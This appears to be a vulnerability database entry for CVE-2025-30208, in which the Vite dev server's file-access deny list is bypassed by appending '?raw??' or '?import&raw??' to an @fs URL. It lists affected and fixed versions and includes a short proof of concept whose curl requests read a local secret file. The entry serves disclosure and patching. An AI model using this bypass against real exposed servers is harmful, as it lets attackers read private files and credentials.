NetSight
IP …
medium5.3Public exploit code

CVE-2025-30208

Vite bypasses server.fs.deny when using ?raw??

Public exploit code

Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.

Impact

### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. ### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

Affected packages

EcosystemPackageAffectedFixed in
npmvite>= 6.2.0, < 6.2.36.2.3

Affected products

VendorProductAffected versions
VitejsVite
before 4.5.10
from 5.0.0 before 5.4.15
from 6.0.0 before 6.0.12
from 6.1.0 before 6.1.2
from 6.2.0 before 6.2.3

Weakness classification

CWE-200CWE-284

References